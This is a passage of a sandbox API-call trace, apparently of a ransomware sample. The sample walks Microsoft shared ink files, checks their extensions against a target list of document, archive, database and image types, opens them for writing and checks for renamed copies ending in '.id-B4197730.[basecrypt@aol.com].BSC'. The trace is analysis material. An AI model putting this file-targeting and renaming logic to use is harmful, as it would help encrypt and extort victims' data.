(lpString1=".xlsx", lpString2="t.avi") returned -1 [0109.516] lstrlenW (lpString=".ppt") returned 4 [0109.516] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0109.516] lstrlenW (lpString=".zip") returned 4 [0109.516] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.516] lstrlenW (lpString=".rar") returned 4 [0109.517] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.517] lstrlenW (lpString=".bz2") returned 4 [0109.517] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.517] lstrlenW (lpString=".7z") returned 3 [0109.517] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0109.517] lstrlenW (lpString=".dbf") returned 4 [0109.517] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0109.517] lstrlenW (lpString=".1cd") returned 4 [0109.517] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0109.517] lstrlenW (lpString=".jpg") returned 4 [0109.517] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0109.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0109.517] lstrlenW (lpString=".doc") returned 4 [0109.517] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.517] lstrlenW (lpString=".docx") returned 5 [0109.517] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0109.517] lstrlenW (lpString=".pdf") returned 4 [0109.517] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.517] lstrlenW (lpString=".xls") returned 4 [0109.517] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.517] lstrlenW (lpString=".xlsx") returned 5 [0109.517] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0109.517] lstrlenW (lpString=".ppt") returned 4 [0109.517] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0109.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0109.518] lstrlenW (lpString=".zip") returned 4 [0109.518] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0109.518] lstrlenW (lpString=".rar") returned 4 [0109.518] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0109.518] lstrlenW (lpString=".bz2") returned 4 [0109.518] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0109.518] lstrlenW (lpString=".7z") returned 3 [0109.518] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0109.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0109.518] lstrlenW (lpString=".dbf") returned 4 [0109.518] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0109.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0109.518] lstrlenW (lpString=".1cd") returned 4 [0109.518] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0109.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0109.518] lstrlenW (lpString=".jpg") returned 4 [0109.518] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0109.518] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0109.518] lstrlenW (lpString="auxpad.xml") returned 10 [0109.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0109.975] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=212) returned 1 [0109.975] CloseHandle (hObject=0x340) returned 1 [0109.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0109.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0109.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0109.976] lstrlenW (lpString=".doc") returned 4 [0109.976] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0109.976] lstrlenW (lpString=".docx") returned 5 [0109.976] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0109.976] lstrlenW (lpString=".pdf") returned 4 [0109.976] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0109.976] lstrlenW (lpString=".xls") returned 4 [0109.976] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0109.976] lstrlenW (lpString=".xlsx") returned 5 [0109.976] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0109.976] lstrlenW (lpString=".ppt") returned 4 [0109.976] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0109.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0109.977] lstrlenW (lpString=".zip") returned 4 [0109.977] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0109.977] lstrlenW (lpString=".rar") returned 4 [0109.977] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0109.978] lstrlenW (lpString=".bz2") returned 4 [0109.978] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0109.978] lstrlenW (lpString=".7z") returned 3 [0109.978] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0109.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0109.978] lstrlenW (lpString=".dbf") returned 4 [0109.978] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0109.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0109.978] lstrlenW (lpString=".1cd") returned 4 [0109.978] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0109.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0109.978] lstrlenW (lpString=".jpg") returned 4 [0109.978] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0109.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0109.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0109.978] lstrlenW (lpString=".doc") returned 4 [0109.978] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0109.978] lstrlenW (lpString=".docx") returned 5 [0109.978] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0109.978] lstrlenW (lpString=".pdf") returned 4 [0109.978] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0109.978] lstrlenW (lpString=".xls") returned 4 [0109.978] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0109.978] lstrlenW (lpString=".xlsx") returned 5 [0109.978] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0109.979] lstrlenW (lpString=".ppt") returned 4 [0109.979] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0109.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0109.979] lstrlenW (lpString=".zip") returned 4 [0109.979] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0109.979] lstrlenW (lpString=".rar") returned 4 [0109.979] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0109.979] lstrlenW (lpString=".bz2") returned 4 [0109.979] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0109.979] lstrlenW (lpString=".7z") returned 3 [0109.979] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0109.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0109.979] lstrlenW (lpString=".dbf") returned 4 [0109.979] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0109.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0109.979] lstrlenW (lpString=".1cd") returned 4 [0109.979] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0109.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0109.979] lstrlenW (lpString=".jpg") returned 4 [0109.979] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0109.979] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0109.979] lstrlenW (lpString="insertbase.xml") returned 14 [0109.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0110.005] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=903) returned 1 [0110.005] CloseHandle (hObject=0x358) returned 1 [0110.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0110.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0110.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0110.006] lstrlenW (lpString=".doc") returned 4 [0110.006] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.006] lstrlenW (lpString=".docx") returned 5 [0110.006] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0110.006] lstrlenW (lpString=".pdf") returned 4 [0110.006] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.006] lstrlenW (lpString=".xls") returned 4 [0110.006] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.006] lstrlenW (lpString=".xlsx") returned 5 [0110.006] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0110.006] lstrlenW (lpString=".ppt") returned 4 [0110.006] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0110.006] lstrlenW (lpString=".zip") returned 4 [0110.006] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.006] lstrlenW (lpString=".rar") returned 4 [0110.006] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.006] lstrlenW (lpString=".bz2") returned 4 [0110.006] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.006] lstrlenW (lpString=".7z") returned 3 [0110.006] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0110.006] lstrlenW (lpString=".dbf") returned 4 [0110.006] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0110.007] lstrlenW (lpString=".1cd") returned 4 [0110.007] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0110.007] lstrlenW (lpString=".jpg") returned 4 [0110.007] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0110.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0110.007] lstrlenW (lpString=".doc") returned 4 [0110.007] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.007] lstrlenW (lpString=".docx") returned 5 [0110.007] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0110.007] lstrlenW (lpString=".pdf") returned 4 [0110.007] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.007] lstrlenW (lpString=".xls") returned 4 [0110.007] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.007] lstrlenW (lpString=".xlsx") returned 5 [0110.007] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0110.007] lstrlenW (lpString=".ppt") returned 4 [0110.007] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0110.007] lstrlenW (lpString=".zip") returned 4 [0110.007] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.007] lstrlenW (lpString=".rar") returned 4 [0110.007] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.008] lstrlenW (lpString=".bz2") returned 4 [0110.008] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.008] lstrlenW (lpString=".7z") returned 3 [0110.008] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0110.008] lstrlenW (lpString=".dbf") returned 4 [0110.008] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0110.008] lstrlenW (lpString=".1cd") returned 4 [0110.008] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0110.008] lstrlenW (lpString=".jpg") returned 4 [0110.008] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.008] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.008] lstrlenW (lpString="keypadbase.xml") returned 14 [0110.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0110.035] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=903) returned 1 [0110.035] CloseHandle (hObject=0x340) returned 1 [0110.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0110.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0110.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0110.040] lstrlenW (lpString=".doc") returned 4 [0110.041] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.041] lstrlenW (lpString=".docx") returned 5 [0110.041] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0110.041] lstrlenW (lpString=".pdf") returned 4 [0110.041] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.041] lstrlenW (lpString=".xls") returned 4 [0110.041] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.041] lstrlenW (lpString=".xlsx") returned 5 [0110.041] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0110.041] lstrlenW (lpString=".ppt") returned 4 [0110.041] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0110.041] lstrlenW (lpString=".zip") returned 4 [0110.041] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.041] lstrlenW (lpString=".rar") returned 4 [0110.041] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.041] lstrlenW (lpString=".bz2") returned 4 [0110.041] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.041] lstrlenW (lpString=".7z") returned 3 [0110.041] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0110.041] lstrlenW (lpString=".dbf") returned 4 [0110.041] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0110.041] lstrlenW (lpString=".1cd") returned 4 [0110.041] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0110.041] lstrlenW (lpString=".jpg") returned 4 [0110.042] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0110.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0110.042] lstrlenW (lpString=".doc") returned 4 [0110.042] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.042] lstrlenW (lpString=".docx") returned 5 [0110.042] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0110.042] lstrlenW (lpString=".pdf") returned 4 [0110.042] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.042] lstrlenW (lpString=".xls") returned 4 [0110.042] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.042] lstrlenW (lpString=".xlsx") returned 5 [0110.042] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0110.042] lstrlenW (lpString=".ppt") returned 4 [0110.042] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0110.042] lstrlenW (lpString=".zip") returned 4 [0110.042] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.042] lstrlenW (lpString=".rar") returned 4 [0110.042] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.042] lstrlenW (lpString=".bz2") returned 4 [0110.042] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.042] lstrlenW (lpString=".7z") returned 3 [0110.042] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0110.043] lstrlenW (lpString=".dbf") returned 4 [0110.043] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0110.043] lstrlenW (lpString=".1cd") returned 4 [0110.043] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0110.043] lstrlenW (lpString=".jpg") returned 4 [0110.043] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.043] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.043] lstrlenW (lpString="keypad.xml") returned 10 [0110.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0110.043] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=693) returned 1 [0110.043] CloseHandle (hObject=0x2f4) returned 1 [0110.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0110.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0110.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0110.044] lstrlenW (lpString=".doc") returned 4 [0110.044] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.044] lstrlenW (lpString=".docx") returned 5 [0110.044] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0110.044] lstrlenW (lpString=".pdf") returned 4 [0110.044] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.044] lstrlenW (lpString=".xls") returned 4 [0110.044] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.044] lstrlenW (lpString=".xlsx") returned 5 [0110.044] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0110.044] lstrlenW (lpString=".ppt") returned 4 [0110.044] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0110.044] lstrlenW (lpString=".zip") returned 4 [0110.044] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.044] lstrlenW (lpString=".rar") returned 4 [0110.044] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.044] lstrlenW (lpString=".bz2") returned 4 [0110.045] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.045] lstrlenW (lpString=".7z") returned 3 [0110.045] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0110.045] lstrlenW (lpString=".dbf") returned 4 [0110.045] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0110.045] lstrlenW (lpString=".1cd") returned 4 [0110.045] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0110.045] lstrlenW (lpString=".jpg") returned 4 [0110.045] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0110.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0110.045] lstrlenW (lpString=".doc") returned 4 [0110.045] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.045] lstrlenW (lpString=".docx") returned 5 [0110.045] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0110.045] lstrlenW (lpString=".pdf") returned 4 [0110.045] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.045] lstrlenW (lpString=".xls") returned 4 [0110.045] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.045] lstrlenW (lpString=".xlsx") returned 5 [0110.045] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0110.045] lstrlenW (lpString=".ppt") returned 4 [0110.045] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.045] lstrlenW (lpString="C:\\Program Files\\Common 